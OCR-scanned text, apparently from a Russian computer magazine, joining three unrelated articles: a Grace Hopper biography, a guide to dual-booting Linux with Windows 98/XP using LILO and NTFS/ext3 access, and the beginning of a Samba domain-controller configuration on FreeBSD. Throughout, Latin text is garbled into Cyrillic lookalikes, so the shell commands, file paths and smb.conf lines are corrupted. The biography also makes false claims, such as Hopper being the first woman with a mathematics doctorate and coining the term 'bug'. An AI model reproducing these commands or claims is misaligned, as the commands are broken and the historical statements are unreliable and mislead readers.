росла в атмосфере любви и счастья. 

К четырем годам девочка уже умела чи- 
тать и каждый вечер перед сном пересказы- 
вала сказки брату и сестре. Грейс также рано 
начала заниматься музыкой и ежедневно ре- 
петировала на фортепиано. Эти увлечения, 
присущие девочкам из удачных семей, были 
не единственными ее интересами, а лишь 
малой частью того, что нравилось Грейс. 

Ее очень привлекала разного рода техни- 
ка. Еще в раннем детстве девочка тянула 
свои ручонки ко всему механическому и пы- 
талась посмотреть, как это все работает и 
выглядит изнутри. Из-за этого родители 
Грейс постоянно просыпали по утрам работу 
- каждый новый будильник был в обязатель- 
ном порядке препарирован. С машинками 



младшего брата большую часть времени иг- 
рала Грейс, обязательно их разбирала и лю- 
бовалась игрушечными карданными валами, 
дисками от колес и сломанными кузовами. 

В школе девочка не пренебрегала физ- 
культурой. Нагрузки помогали ей выработать 
в себе силу духа и стремление покорять. 

Очень скоро у Грейс обнаружилась склон- 
ность к математике. Но в те времена счита- 
лось, что увлечение точными науками, да и 
вообще всем, что не входило в общеприз- 
нанные женские занятия, для девушек не- 
нормально. И ждала бы Грейс участь обыч- 
ной домохозяйки, стирающей носки мужу и 
готовящей ему поесть, если бы не внезап- 
ный удар судьбы. Отец девочки страдал 
тромбофлебитом. Болезнь развивалась 
очень быстро, в результате чего Уолтеру ам- 
путировали обе ноги. Теперь он больше не 
мог содержать семью. Проблемой было и 
то, что Грейс не успела накопить приданое, 
а значит, не могла нормально выйти замуж. 
Уолтер Флетчер Мюррей решил дать своим 
детям хорошее образование - это было 
единственное, что он мог сделать для обуст- 
ройства их дальнейшей жизни. Много лет 
спустя Грейс призналась, что все эти собы- 
тия вдохновили ее пойти против стереотипов 
и общественного мнения. 



^КОППЕДЖ и УНИВЕРСИТЕТ 

В 1923 году Грейс подала документы в 
Вассар Колледж. Его основатель Мэттью 
Вассар, наследник династии пивоваров, 
постоянно тянулся к знаниям, но не имел 
даже среднего образования. Человеком он 
был очень состоятельным, денег у него ку- 
ры не клевали, и Мэттью решил вложить их 
в строительство женского учебного заведе- 
ния. Там девушкам предоставлялось полно- 
ценное образование, ничем не отличавше- 
еся от того, которое давали в мужских кол- 
леджах. Однако с первой попытки у Грейс 
поступить не получилось. Завалив экзамен 
по латыни, она отправилась на скамейку 
запасных до следующего года. Весь год 
Грейс усиленно штудировала этот язык, и 
вторая попытка поступления в колледж ока- 
залась удачной. 

Отучившись 5 лет, Грейс получила зва- 
ние бакалавра математики и физики, а так- 
же кучу грамот, среди которых был и почет- 
ный диплом старейшего академического 
общества «Фи Бета Каппа». Но девушке 
этого было мало. Поэтому еще через два 
года она окончила Йельский университет, 
где стала магистром математики. И вскоре 
после этого вышла замуж за профессора 
Винсента Фостера Хоппера, преподававше- 






БПБУШКП КОБОПП 



го английскую словесность в Нью-Йоркской 
коммерческой школе. 

В 1931 году Грейс Мюррей Хоппер верну- 
лась в Вассар Колледж и стала преподавать 
математику, получая 800 долларов в год. Ка- 
залось бы, чего не хватает для счастья? Все 
есть: работа, муж, свой дом. Но Грейс этого 
показалось мало, и в 1934 году она стала 
первой женщиной, защитившей докторскую 
диссертацию по математике. Это переверну- 
ло всю ее дальнейшую жизнь. 

Теперь она постоянно участвовала в раз- 
личных конференциях и семинарах, читала 
доклады, ездила по всей Америке. У нее по- 
явилась собственная кафедра, звание про- 
фессора, а также всеобщее признание. Муж 
Грейс долго не выдержал, и в 1940 году они 
расстались. 

Вскоре после этого Грейс решила подать- 
ся на службу в американскую армию. Но ку- 
да там? Ей было уже 34 года, весом она не 
добирала, физическая форма ни к черту. 
Грейс давали от ворот поворот несколько 
раз подряд. Такой рекрут никому не нужен. 
Такому рекруту самое место - преподавать 
математику в вузе, а не бегать с автоматом 
по джунглям. Однако Грейс, как всегда, не 
сдавалась. И через три года активных попы- 
ток, во время войны, ее таки призвали на 
службу во флот США. 



подпрограммы других программистов, чтобы 
не изобретать велосипед. И через какое-то 
время программисты получили большую ба- 
зу подпрограмм, из которой могли выбирать 
то, что нужно. Со временем Грейс предста- 
вили к награде за выдающиеся достижения в 
области оперирования вычислительными ма- 
шинами типа «Марк». 

Кстати, термин «Ьид» был введен тоже ге- 
роиней нашего рассказа. Как-то раз в лампо- 




В форме ВМФ США она смотрится просто 
потрясающе! 



Термин «Ьид» был введен тоже 
героиней нашего рассказа. 




Командир Айкен и лейтенант Хоппер с частью 
дифференциального механизма 



ТРУДЫ ГРЕЙС 

По распределению Грейс попала в Бюро ар- 
тиллерийских вычислительных проектов при 
Гарвардском университете. Там она занима- 
ла должность третьего программиста вычис- 
лительной машины Магк-І, на которой про- 
изводились расчеты баллистических таблиц. 
Машинка что надо, совершала до трех ариф- 
метических операций в секунду. По тем вре- 
менам - феноменальная скорость. 

Так как работа заключалась в постоянном 
пересчете часто повторяющихся таблиц, 
Грейс написала подпрограммы, делающие 
это автоматически. Первой подпрограммой 
стала функция вычисления синуса, на поря- 
док облегчившая задачи операторов «Марка 
Первого». Затем Грейс принялась собирать 



вое устройство попал жук, произошло замыка- 
ние, и устройство сломалось. Грейс и ее ко- 
манда программистов занялись, как они это 
назвали, дебаггингом. И в будущем это выра- 
жение прочно осело в рядах компьютерщиков. 

Когда война закончилась, Грейс устрои- 
лась на работу в фирму Ескеіі-Маисіііу, за- 
нимавшуюся разработкой вычислительных 
машин. Именно там она придумала отойти 
от восьмеричной системы счисления, основ- 
ной в то время. Такая идея пришла ей в го- 
лову, когда Грейс заполнила ежемесячный 
отчет в восьмеричной системе, забыв, что 
не программирует. «Такими темпами можно 
в дурку попасть», - подумала Грейс и попы- 
талась упростить восьмеричную систему. 

К 1951 году Грейс Мюррей Хоппер создала 
первый компилятор А-0, который преобразо- 
вывал коды подпрограмм на стадии компиля- 
ции в машинные коды. Это существенно об- 
легчило работу программистов и нашло ши- 
рокое применение в области ИТ-индустрии. 
Впоследствии компилятор постоянно дораба- 
тывался и получал новые названия соответ- 
ственно версиям: А-1 , А-2 и т.д. Проект Грейс 
дал толчок для фирмы, в которой она работа- 
ла, начать разработку системы АТ-3, в кото- 
рую входил уже не только компилятор, но и 
язык программирования. Систему включили в 
поставки компьютера ІІМІѴАС-1 , в разработке 
которого Грейс также принимала участие. 

А в 1956 году мисс Хоппер закончила раз- 
работку нового языка, известного как РШѴѴ- 
МАТІС. Этот язык программирования был ори- 
ентирован на создание коммерческих таблиц 



и имел очень гибкий компилятор, принцип ко- 
торого используется теперь во всех языках. 

Но и этого программистке было мало. В 
1959 году она начала работу над новым про- 
ектом. И уже в 1961 году на свет появилось 
ее самое известное детище - язык програм- 
мирования КОБОЛ. Он и по сей день исполь- 
зуется в коммерческих разработках финан- 
совых приложений. С тех пор Грейс получи- 
ла ласковое прозвище Бабушка Кобола. 

.і НЕ до ПЕНСИИ Ш-ТО 

Довольная собой, Грейс получила звание 
капитана третьего ранга и отправилась на 
заслуженную пенсию. Имея кучу свободно- 
го времени, она по-прежнему занималась 
математикой, кодингом и подобными ве- 
щами о для души. Но через год бабушку 
позвали назад на флот и подписали с ней 
новый контракт. Без Грейс уже не могли и 
назначили ее на должность главного сис- 
темного аналитика всего американского 
морского флота! 

В 1969 году Грейс признали человеком 
года. Более сорока университетов присвои- 
ли этой женщине различные ученые звания. 
Ей принадлежит еще множество наград, пре- 
мий и титулов, всего не перечесть. 

В возрасте 80 лет Грейс Мюррей Хоппер бы- 
ла окончательно списана с флота и ушла на пен- 




сию, уже безвозвратно. Однако даже в таком 
возрасте она успела поработать техническим 
консультантом в компании ОЕС, а в 91 -ом сам 
президент США вручил ей национальную пре- 
мию за огромный вклад в развитие технологий. 

А практически сразу после празднования 
нового, 1992 года Грейс ушла из жизни. 

Тем не менее, остались тысячи ее последо- 
вателей и учеников, без которых, по словам 
самой же Грейс, вряд ли удалось бы добиться 
такого прогресса. Грейс сумела убедить лю- 
дей, что не стоит тратить время попусту, что 
необходимо двигаться вперед, придумывать и 
реализовывать новые идеи. Постоянно разъ- 
езжая по городам и странам, продвигая свои 
мысли в массы, ей удалось сплотить множест- 
во людей единой идеей и целью. 

А ЭПИЛОГ 

Ну, убедил я тебя, что именно прекрасному полу 
принадлежит основная заслуга в области компь- 
ютерных технологий? И не надо кричать, что бы- 
ла еще и Дцэ, - это все легенда. А Грейс - насто- 
ящая история. История, без которой ты сейчас 
сидел бы со счетами в руках и пялился в черно- 
белый телевизор от нечего делать. Так что не 
смотри больше скептически на девушек, сидя- 
щих за компом, - возможно, именно они дадут 
новый толчок в развитии новых технологий. □С 
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ногие топи отказывают себе в удовольствии поставить Ііпих лишь по одной причине. Они не знают, как зто знаиенатепьное событие 
отразитсл на работоспособности уже установленной ѴѴіпбонв и как обе систеиы сиогут сосуліествовать. В сети можно найти уйму 
противоречивой информации, к тому же частью устаревшей. Эта статьи поможет разобратьсл во всем и расселть туман сомнений. 



КПК подружить ииох и шіиоошо но отдЕпьно взятом компьютере? 




А ПРЕДВОРИТЕПЬНЫЕЗРИЕЧРНИЯ 

К огда человек знает, что дела- 
ет, то ошибиться ему очень 
сложно. Основную трудность 
для тех, кто впервые хочет ус- 
тановить Ііпих, представляют 
отличия в наименованиях раз- 
делов диска. Пользователь 
ѴѴіпсІоѵѵз привык, что диск 
А - это флоппи, С - первый раздел диска 
и т.д. Лично меня после долгих лет работы 
в Ііпих такое положение иногда запутывает. 
Ведь в Ііпих диски представляются совер- 
шенно иначе. Дисковый раздел для Ііпих - 
это отдельное устройство, доступное в виде 
файла в каталоге /беѵ. Вот как называются 
устройства в Ііпих, исходя из способа их 
подключения: мастер на ЮЕ1 = бсіа, слэйв 
на ЮЕ1 = бсІЬ, мастер на ЮЕ2 = бсіс, слэйв 
на ЮЕ2 = ббсі. В директории /беѵ ты можешь 
обнаружить все эти файлы: бсіа, бсІЬ, Іісіс и 
ббсі. На самом деле они являются символи- 
ческими ссылками на другие файлы, которые 
запрятаны в иерархию каталога /беѵ немного 
глубже, но суть дела от этого не меняется. 

Если устройство представляет собой дис- 
ковый накопитель, то оно, понятное дело, 
разбито на разделы. Для примера будем 
считать, что бсіа у нас винчестер. В Ііпих ргі- 
тагу-разделы нумеруются числами от 1 до 
4, а ехіепбесі- разделы - от 5 и выше. Обычно 
на диске есть один ргі тагу- раздел и нес- 
колько ехіепсіесі. 



Первый ргітагу-раздел называется бсіа1 . 
Первый ехіепбесі- раздел - это бсіаб, второй 
ехіепсіесі - бсіаб и т.д. Если у нас есть вин- 
честер, на котором установлена ѴѴіпсІоѵѵз и 
присутствуют разделы С, О, Е, то в Ііпих они 
будут выглядеть так: С = Іісіаі , О = бс1а5, Е = 
Іісіаб. Еще пример. Мастер СО-ВОМ на ЮЕ2 - 
это бсіс. Безо всяких цифр, просто бсіс. 

Чтобы зайти на некий раздел диска или 
СО-ВОМ, его надо монтировать. Это значит 
связать название устройства и некоторую 
директорию (обычно в каталоге /тпі). Ди- 
ректория может иметь осмысленное назва- 
ние - сс1_гот, тоѵіез, трЗ - любое. Напри- 
мер, ѴѴіпбоѵѵз-разделы традиционно монти- 
руются к директориям ѵѵіп с, ѵѵіп б и т.п. 

Разделы жестких дисков при загрузке 
ѴѴіпсІоѵѵз обычно монтируются автоматичес- 
ки. СО-ВОМ'ы можно подмонтировать вруч- 
ную, а можно использовать технологии вро- 
де зирегтоипі или МадісОеѵ. 

Все настройки монтирования хранятся в 
файле /еіс/ЫаЬ. Но современные дистрибу- 
тивы Ііпих часто оснащены утилитами с гра- 
фическим интерфейсом, визуализирующим 
все операции. Перед экспериментами не- 
лишней предосторожностью является резе- 
рвное копирование файла ЫаЬ. 

На этом предварение закончу. Просто за- 
помни, как в Ііпих называются разделы, и 
когда инсталлятор спросит тебя, что именно 
ты хочешь отформатировать и куда поста- 
вить загрузчик, ты не попадешь впросак. 



.і РРЗИЕТКРДИШ 
ИФОРИРТЙРОВРНИЕ 



Перед выполнением переразметки диска, 
если это не новый винт, а используемый и 
там находятся важные данные, сохрани их 
где-нибудь еще - на другом винте или на 
болванках. Потому что велика вероятность 
потери данных при любых манипуляциях с 
разделами. 

Наиболее комфортно проводить разметку 
винчестера, загрузившись в полностью ра- 
ботоспособную систему на другом жестком 
диске. Размечать диск надо обдуманно, что- 
бы после записи на него не возникло острое 
желание все переделать. 

Я не знаю, сколько тебе нужно места для 
ѴѴіпсІоѵѵз- и Ііпих-разделов, однако для ли- 
нуксового зѵѵар-раздела надо выделить хотя 
бы 512 МЬ. Да, знаем, пишут: при современ- 
ных объемах памяти своп уже не критичен. 

Но это смотря как использовать систему. 

В чем разбивать диск? Лично я раньше 
пользовался Раіііііоп Мападег, запуская его 
из ѴѴіпсІоѵѵз с другого винчестера. А в пос- 
ледний раз опробовал линуксовый Оіраііесі 
и остался доволен. При выборе утилиты раз- 
метки надо помнить, что старые версии та- 
ких программ могут не поддерживать боль- 
шие жесткие диски, и слепо доверяя инсти- 
нктам некоторой утилиты, не удивляйся, что 
она неправильно обращается с винтом. 

Форматировать Шпих-разделы из 
ѴѴіпбоѵѵз-программ не следует, хотя бы пото- 
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му что в Ііпих эта операция осуществляется 
гораздо быстрее. Такие утилиты, как 
ОізкОгаке или Оіраііесі, не умеют проверять 
диск на предмет плохих секторов, что, одна- 
ко, не означает полное отсутствие этой воз- 
можности. Например, файловая система ехІЗ 
проверяется командой 

й !$ск.ехіЗ -V -п -с -с /(Іеѵ/МЬб 

Внимание! Двойное упоминание ключа -с 
необходимо! Именно так включается безо- 
пасный режим проверки на чтение/запись. 
Надеюсь, ты знаешь, что такие операции 
следует проводить только на размонтиро- 
ванных разделах диска и только для ех12 и 
ехіЗ, не нужно пытаться проверить этими ко- 
мандами разделы ѴѴіпсІоѵѵз или ВеізегРЗ. 

.ІУСТРНОВКР СИСТЕМ 

Какую систему установить первой? Предпо- 
ложим, что тебе нужны три системы: Ііпих, 
ѴѴіпсІоѵѵз 98 (скажем, для «настоящего 
005'а») и ѴѴіпсІоѵѵз ХР. Основываясь на моей 
практике, в первую очередь надо устанавли- 
вать ѴѴіпсІоѵѵз 98. Насколько я помню, ста- 
вится она только на основной ргітагу-раз- 
дел, причем его размер не должен превы- 
шать 10 ОЬ. 

Затем устанавливаем ѴѴіпсІоѵѵз ХР. Ее инс- 
таллятор уже позволяет выбрать установоч- 
ный раздел и, что важно, видит наличие на 
диске ХРюши ной предшественницы, поэтому 
автоматически внесет пункт ее запуска в ме- 
ню своего загрузчика. Конечно, если ты не 
установишь ѴѴіпсІоѵѵз ХР в тот же раздел, ку- 
да незадолго до этого поселил ѴѴіпсІоѵѵз 98. 

После установки ѴѴіпсІоѵѵз ХР проверь, как 
она из своего загрузчика грузит, во-первых, 
саму себя, а во-вторых - ѴѴіпсІоѵѵз 98. Если 
все в порядке, а иначе и быть не должно, то 
приступаем к третьему шагу, по идее, зак- 
лючительному, - к установке Ііпих. 

Нас интересует не сама ее установка, а 
то, куда линуксовый загрузчик себя пропи- 
шет. В качестве примера возьмем наиболее 
популярный Ііпих-загрузчик ИЮ. Когда уста- 
новка дойдет до того шага, когда тебя спро- 
сят, куда поставить ІІШ, выбирай первый 
раздел, то есть /сіеѵ/іісіа. В итоге 1110 подх- 
ватит загрузчик ѴѴіпсІоѵѵз ХР, и при запуске 
компьютера у тебя будет выбор в меню ІІШ, 



что загружать - Ііпих или ѴѴіпсІоѵѵз. При вы- 
боре ѴѴіпсІоѵѵз загрузится, в свою очередь, 
загрузчик ѴѴіпсІоѵѵз ХР, который спросит, что 
запускать - ѴѴіпсІоѵѵз 98 или ѴѴіпсІоѵѵз ХР. 

В случае использования двух винчестеров 
ситуация мало чем отличается. Удобна сле- 
дующая конфигурация: мастер-винт делаем 
загрузочным для Ііпих, а слэйв - загрузоч- 
ным для ѴѴіпсІоѵѵз (только при установке 
ѴѴіпсІоѵѵз 98 его надо будет сделать масте- 
ром!). Такой расклад удобен тем, что при 
переустановке ѴѴіпсІоѵѵз нет риска, что эта 
система затрет своим загрузчиком 1110. А 
если все-таки затрет, то его придется вос- 
станавливать. Обычно современный дистри- 
бутив Ііпих имеет возможность восстанови- 
тельного запуска с загрузочного СО, предла- 
гая, кроме всего прочего, средство для пе- 
реустановки иш. Другой вариант - запуск с 
загрузочной дискеты и перезапись ІІШ ко- 
мандой Іііо. 

Обратная ситуация - когда ІІШ затер со- 
бой загрузчик ѴѴіпсІоѵѵз 98, а ты хочешь вер- 
нуться к прежнему образу жизни, изгнав 
Ііпих, и пользоваться только прежней систе- 
мой. В этом случае загрузчик ѴѴіпсІоѵѵз мож- 
но вернуть на место, восстановив командой 
Мізк /тЬг. Это в случае, когда 1110 был про- 
писан в МВВ первого раздела винчестера. 
Однако более удобным и благоприятным для 
всех версий ѴѴіпсІоѵѵз мне представляется 
удаление ІІШ силами самого 1110: 

# ІІІО -и 

Когда иш устанавливает себя, то делает 
резервную копию загрузочного сектора. Эту 
копию можно найти в директории /Ьооі, в 
файле под названием Ьооі.хххх, где хххх - 
число в шестнадцатеричном формате, обоз- 
начающее раздел, где находился сохранен- 
ный сектор. 

Чтобы вручную добавить в меню ІІШ 
пункт загрузки ѴѴіпсІоѵѵз, надо прописать в 
файл /еіс/іііо.соп^ нечто вроде: 

# ѵі /еіс/іііо.соп^ 

оіііег = /(Іеѵ/ІкІЫ 

іаЫе = /(Іеѵ/ІісІІз 

ІаЬеІ = "ѴѴіп(]оѵѵ$ХР" 





И дать команду Іііо, чтобы изменения всту- 
пили в силу. В этом примере я предполагаю, 
что ѴѴіпсІоѵѵз загружается со второго винчес- 
тера, который слэйв на ЮЕ1 , то есть бсІЬ. 



.і ДОСТУП, ДОСТУП ДПЙТЕ! 

Как уже говорилось выше, ѴѴіпсІоѵѵз 98 раз- 
делы Ііпих не видит, а ѴѴіпсІоѵѵз ХР видит, 
однако не воспринимает адекватно. С другой 
стороны, т.е. при работе в Шпих, ситуация 
такова - РАТ32 разделы доступны для чте- 
ния-записи, а вот с МТР8 не все так просто. 

Согласно документации к ядру Шпих 2.6, 
текущий драйвер позволяет читать данные с 
МТР8- разделов, а также имеет «очень огра- 
ниченную, однако безопасную поддержку за- 
писи». В предыдущем ядре версии 2.4 за- 
пись была нестабильной и могла испортить 
данные в МТР8-разделе. Теперь дела обстоят 
более радужно, учитывая тот факт, что почти 
каждый новомодный Ііѵе-СО Шпих заявляет о 
своем умении записывать в МТР8-разделы. 
Люди этим пользуются и не жалуются. 

На сайте проекта драйвера МТР8 для Шпих 
(Ііпих-пШ.$(.пеО находим более подробную ин- 
формацию о версиях драйвера. Итак, есть две 
версии - старая и новая, написанная Антоном 
Алтапармаковым. Новой (и портированной об- 
ратно в ядро 2.4 из 2.5) комплектовались та- 
кие дистрибутивы, как Мапбгаке, 8и8Е, 

Сепіоо, АВРШпих, АІТ Упих, - все, начиная с 
ядра 2.4. Теперь эта новая версия драйвера 
входит в дистрибутивы на ядре 2.6. За ходом 
разработки драйвера можно следить на Ііпих- 
пШ.ЬкЬіІ$.пеІ - кстати, знакомые имена заведую- 
щих репозиторием - Антон Алтапармаков и 
Линус Торвальдс. Чтобы проверить, поддер- 
живает ли ядро МТР8, дай в консоли команду 




А д(раг(е(1.8І.пе( 

А Ііпих-п(І8.8І.пе( 

А Ііпих-п(І8.ЬкЬі(8. 
пе( 

А дИі8Іег.ІіІеЬиг8(. 
сот 

А игапи8.і(.8ѵѵіп. 

е(1и.аи/Чп/Ипих/ех( 

2іІ8.Іі(т 
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ЧТО ТОКОЕ ДЗЕН? 

Я никогда не понимал людей, которые углубляются во что-то одно, добровольно ограничивают себя и не смот- 
рят по сторонам. Факт, что и в Ыпих, и в V\/іп(^о^л/з есть уникальные продукты и возможности. Ради них стоит ис- 
пользовать обе системы. Например, под Ыпих нет аналогов виртуальных студий вроде 51:еіпЬегд СиЬазе Ѵ5Т или 
ЗІеіпЬегд Nиеп(^о, нет и такого обилия игр, которые мы видим на отечественном рынке сбыта. И работы для Ыпих- 
программистов у нас пока меньше. А запускать V\/іп(^о^л/з-среды разработки из-под Ыпих посредством ѴѴІМЕ - это 
извращение. 

Просто не надо быть фанатиком. Никогда еще фанатизм к хорошим последствиям не приводил, он всегда ущер- 
бен. Я могу обойтись без V\/іп(^о^/\/з, поскольку моя рабочая система - Ыпих. Но я буду чувствовать определенные 
неудобства без тех же игр, потому что играть ВЕЧНО в годие-зіуіе ПРО, Оиаке 3, ^оІТепзіеіп или в ТихПасег я не 
могу. Но без игр можно прожить. А как быть верстальщику, который привык к ОиагкХРгезз и сдает в его форма- 
те файлы (да, я знаю о РОР!) в типографию? Или что делать звукорежиссеру, привыкшему к эффектам реально- 
го времени и автоматизации в СиЬазе Ѵ5Т? 

Выходит, что не стоит рубить с плеча и ставить одну систему взамен другой. Мирное сосуществование - вот что 
такое дзен. Программы одной платформы дополняют программы другой. Постепенно пользователь делает выбор 
- сознательный выбор, - основываясь на собственном сравнении программного обеспечения обеих систем. А не- 
которые до сих пор используют софт для 005 - например, самый лучший фидошный софт был написан именно 
под 005. И ни в чем, кроме 005, этот софт не работает также хорошо - ни под эмуляторами в Ыпих, ни в V\/іп(^о^л/з 
ХР. Каждому свое. 




й саі /ргос/Ше$у$іе[п$ 



рования, производим монтирование и прос- 
матриваем содержимое корневого каталога): 

і тЫіг /[ппіМіп(]оѵѵ5 

й тоипі /(]еѵ/1і(]а1 /тпі/ѵѵіп(]оѵѵ$ -і пШ -г -о пІ$=коі8г 

ита$к=0222 

# І5 -I /тпі/ѵѵіп(]оѵѵ$ 

Как ты догадался, вместо коі8г следует 
подставить кодировку твоей локали. Скорее 
всего, это будет именно К0І8-В. А вообще 
используй файл /еісДзіаЬ. Готовый пример 
строки автоматического монтирования раз- 
дела в ЫаЬ: 

/(Іеѵ/іісіаі /тпіМіп(]оѵѵ5 пШ го,ита$к=0222 О О 



Будет там слово «пі^з»? Нет - тогда загру- 
жаем модуль поддержки МТР5: 

й /$Ьіп/то(]ргоЬе пі^$ 

Снова проверяем. Хорошо. Теперь пос- 
мотрим, какие файловые системы на разде- 
лах твоих дисков: 

й /$Ьіп/!(]і$к -і 

МТРЗ-разделы монтируются так же, как и 
любые другие разделы (создаем точку монти- 



Т.е. монтируем бсіаі к директории 
/тпі/ѵѵіпсіоѵѵз в режиме «только для чтения» 
с правами доступа для всех пользователей. 

Теперь о доступе к Ііпих-разделам из 
ѴѴіпбоѵѵз. Для ѴѴіпбоѵѵз существует ряд ути- 
лит, которые позволяют получить доступ к 
Ііпих-разделам, в частности к файловым 
системам ехі2 и ехіЗ, причем запись туда из 
ѴѴіпбоѵѵз мне представляется не то чтобы 
опасной, однако какой-то тревожной. Одно 
дело, когда за запись в Ііпих-разделы отве- 
чает модуль ядра самого Ііпих, а другое - 
когда этим 
занимается 
небольшая 
ѴѴіпбоѵѵз- 
утилита. И 
потом, такой 
доступ извне 
- это нару- 
шение са- 
мой концеп- 
ции файло- 
вой системы 
Ііпих с ее 
правами 
доступа. 




Но довольно общих слов - конкретику в 
студию. Для доступа к ех12/ехіЗ из ѴѴіпбоѵѵз 
рекомендую две вещи. Во-первых, это пла- 
гин к ТоіаІ Соттапбег, который позволяет 
заходить на ехі2, ехіЗ и ВеізегРЗ- разделы. 
Из соображений безопасности плагин пре- 
доставляет доступ только для чтения. Равно 
как и другая штука - Ехі2ІРЗ Іог ѴѴіпбоѵѵз 
МТ/2К/ХР. Это уже настоящий драйвер, ко- 
торый дает возможность читать Ііпих-разде- 
лы в любой ѴѴіпбоѵѵз-программе. Надо толь- 
ко установить драйвер и сделать Ііпих-раз- 
делы доступными в системе - например, 
смонтировав их с МТРЗ-директориями или 
назначив им буквы дисков. 

Для управления всем этим надо исполь- 
зовать утилиту зегѵісе.ехе. Поскольку у ме- 
ня нет разделов с МТРЗ, то линуксовые 
разделы под ѴѴіпбоѵѵз я подключал, просто 
назначая им буквы. Процесс выглядит так: 
запускаешь зегѵісе.ехе, там переходишь на 
страницу Зіер 1 . Есть несколько вариантов 
установки. В ѴѴіпбоѵѵз ХР ЗР1 я выбрал 
Огіѵег Іосабоп = ІпзіаІІ іо зузіет гооі и 
Огіѵег зіагіир = Зіагі бгіѵег оп Ьооі. В пре- 
дупреждении написано, что такой при та- 
ком раскладе ѴѴіпбоѵѵз может не загрузить- 
ся, однако я попробовал, и ничего дурного 
не произошло. 

Если ты не запустишь драйвер вручную, 
то он заработает сразу после перезагрузки 
ѴѴіпбоѵѵз. Затем, имея в системе работаю- 
щий драйвер, можем перейти на другие 
страницы утилиты. На странице Зіер 2Ь 
можно назначать разделы Ііпих буквам дис- 
ков. Изменения вступают в силу после, 
опять же, перезагрузки. 

Драйвер ЕХІ2ІР5 работает только в 
ѴѴіпбоѵѵз МТ/2К/ХР. Плагин к ТоіаІ 
Соттапбег опробован мною в ѴѴіпбоѵѵз, 
начиная с версии 98 8Е. 

Итак, ѴѴіпбоѵѵз и Ііпих уживаются рядом 
на одном компьютере и прекрасно сосуще- 
ствуют. Ну а которая из них станет твоей 
основной системой, решать тебе. 
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уществует несколько иеханизиов централизованного управпения попьзоватепяии в покапке: у 8нп зто N18+, у МоѵеІІ - еОігесІогу 
(ака N88), в мире ^NIX стандарт де-факто - та же N18 (ранее ѴеІІо» Радея) от 8нп, но бопьніинство покапок в качестве клиентской 
ОС используют 1№п(1о»я, в которой управление сетью ассоциируется с Ніпііоімя-доиенои и, соответственно, контроллером домена. 



ПОДНИМПЕМ ГППВНЫЙ КО НТРОППЕР ДОМЕНП 
.іпокапьный БЕСПОРЯДОК 



редставь ситуацию: 20-50 ма- 
шин ѴѴіп2к Рго^ в разных рабо- 
чих группах. Пользователи пе- 
ремещаются с одной машины 
на другую, контроллера доме- 
на нет. Как результат - один и 
тот же набор пользователей 
практически на каждой маши- 
не, естественно, все - с правами админист- 
ратора (а чего мелочиться?). Стандартная 
картина, не так ли? Все можно привести в 
порядок с помощью 8атЬа, которую водру- 
зим на старую добрую РгееВЗО и озадачим 
должностью первичного контроллера домена. 

Ставим, как водится, из портов, в них две 
версии пакета 8атЬа - предыдущая, 2.2.x 
(/изг/роіІз/пеѴзатЬа), и версия из новой 
стабильной ветки 3.0.x 
(/изг/рогІз/пеѴзатЬаЗ). Для нашего случая 
нет особой разницы, с точки зрения функци- 
ональности, что ставить, однако у тройки 
есть некоторые особенности, и рано или 
поздно мигрировать на нее придется. Давай 
сделаем это сейчас, по ходу отметив, какие 
параметры из конфига второй версии Самбы 
более не действуют. Кстати, в портирован- 
ной третьей версии применяется стартовый 
скрипт в стиле РгееВЗО 5 гсМС, что заставит 



тебя прочитать нужную главу бапбЬоок'а про 
новую систему стартап-скриптов, если ты до 
сих пор этого не сделал. Установка проста, 
как и все в этом мире: 

й с(] /и$г/рогі$/пеі/8атЬаЗ 
й таке іп$іаІІ сіеап 

Перед тобой возникнет псевдографичес- 
кое меню, где необходимо отметить пара- 
метры сборки пакета. Выбери те опции, что 
тебе необходимы. В простейшем случае 
можно оставить все по умолчанию, все рав- 
но предлагемые здесь АСІ, ОІІОТА, ЮАР, 
ѴѴІМВІМО и прочее - темы отдельных разго- 
воров. Если ты захочешь в дальнейшем пе- 



ІІЛВ 

I ■( гш ж I . .г .і ■ 




Опции сборки Самбы из портов 



X 



ресобрать самбу с новыми опциями, дай ко- 
манду таке сопіід в директории порта. 

Для настройки ЗатЬа РОС мы должны по 
порядку проделать следующее: составить 
основной конфиг зтЬ.сопІ, составить стб- 
файл, который бы монтировал нужные диски 
при заходе пользователя в домен, добавить 
в систему пользователей домена и так назы- 
ваемые ігизіесі І103ІЗ - машины, с которых 
будет позволено входить в домен. 

.ІВЕПИКИЙИУЖОСНЫЙ 

8ИВ.С0ИЕ 

В Сети полно примеров этого конфига, пос- 
ле их изучения наш идеальный выглядит так 
(/изг/ІосаІ/еІс/зтЬ.сопІ): 

[дІоЬаІ] 

: Имя рабочей группы. Именно оно высвечивается в «Сете- 
вом окружении», 
ѵѵогкдгоир = Т0XА^АN 
: NЕТВI03-имя сервера. 
пеШіо$ пате = тегсигу 

: А это - комментарий, который будет сопровождать имя 
контроллера домена. 

$егѵег зігіпд = Ѵ/іпбоге95 оп $іегоіб$ 

: Позволим только нашей подсети пользоваться прелестями 
РОС. 

Ііо$І5аІІоиі = 192.168.0. 127. 
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ВРИШСПИБЫ 



: Параметры легирования - 1од.<имя_машины_клиента>. 

Іод ПІе = /ѵаг/Іод/8а[лЬа/Іод.%іл 
глах Іод $і7е = 50 

: Уровень безопасности для домена, 
зесигііу = и$ег 
пиІІ ра8$ѵѵогб$ = по 
епсгурі ра88ѵѵог(І8 = уе8 
Іод ІеѵеІ = 1 

: Параметры оптимизации самбы, всеми рекомендуемые и про- 
веренные опытным путем. 

80Скеі ОРІІОП8 = ТСР^ООЕІАУ ІРТОЗ.ШѴШЕІАѴ 

геаб гаѵѵ = уез 

ѵѵгііе гаѵѵ = уез 

оріоскз = уез 

глах хіпіі = 65535 

беаб ііпіе = 15 

деЫ сасбе = уез 

: Интерфейс, на который мы повесим самбу. Нет нужды цеп- 
лять ее на интерфейс, отличный от того, что смотрит в ло- 
калку. 

іпіегЕасез = 192.168.0.1 
Ыпб іпіегЕасез опіу = уез 

: Приоритет контроллеров, у кого он меньше, тот и автори- 
тарнее. У нас одна машина - РОС, так что ставь разумное 
значение. 

03 ІеѵеІ = 64 

: Мы хотим выступать мастером (РОС)? Конечно, хотим! 

ІосаІ глазіег = уез 
ботаіп ліазіег = уез 
ргеЕеггеб тазіег = уез 
боглаіп Іодопз = уез 
ѵѵіпз зиррогі = уез 

зілЬ раззиіб ПІе = /изг/ІосаІ/затЬа/ргіѵаіе/зглЬраззѵѵб 
: Переменные для пользователей при логине в домен %П = 
изег %Е = зегѵег. 

Іодоп Ііоте = \\%Е\%11 
Іодоп зсгірі = “/оП.сілб 
Іодоп раііі = \\%Е\%П\ргоПІе 
